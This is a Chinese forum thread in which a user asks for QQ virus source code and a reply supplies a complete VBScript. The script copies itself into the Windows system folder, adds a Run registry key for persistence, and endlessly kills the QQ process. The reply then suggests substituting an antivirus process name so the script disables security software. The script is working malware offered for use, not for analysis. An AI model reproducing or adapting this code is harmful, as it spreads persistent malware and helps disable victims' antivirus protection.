求QQ病毒源代码（VBSCRIPT的最好），就是那种QQ发言会带个网址的（前几天有个同学中了，弄了半天才弄好，很想看看QQ病毒代码），由于变种很多，凡是贴出完整代码的， 都给分，我手头就400分，给你们平摊了（我一次只能放100，反正另外发贴给你门）
---------------------------------------------------------------
一个让QQ不能启动的脚本病毒
原代码
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\system.vbs")
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\system","system.vbs"
do
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'qq.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
loop
把上面的qq.exe改成防病毒软件的进程命就能变成杀防火墙的病毒了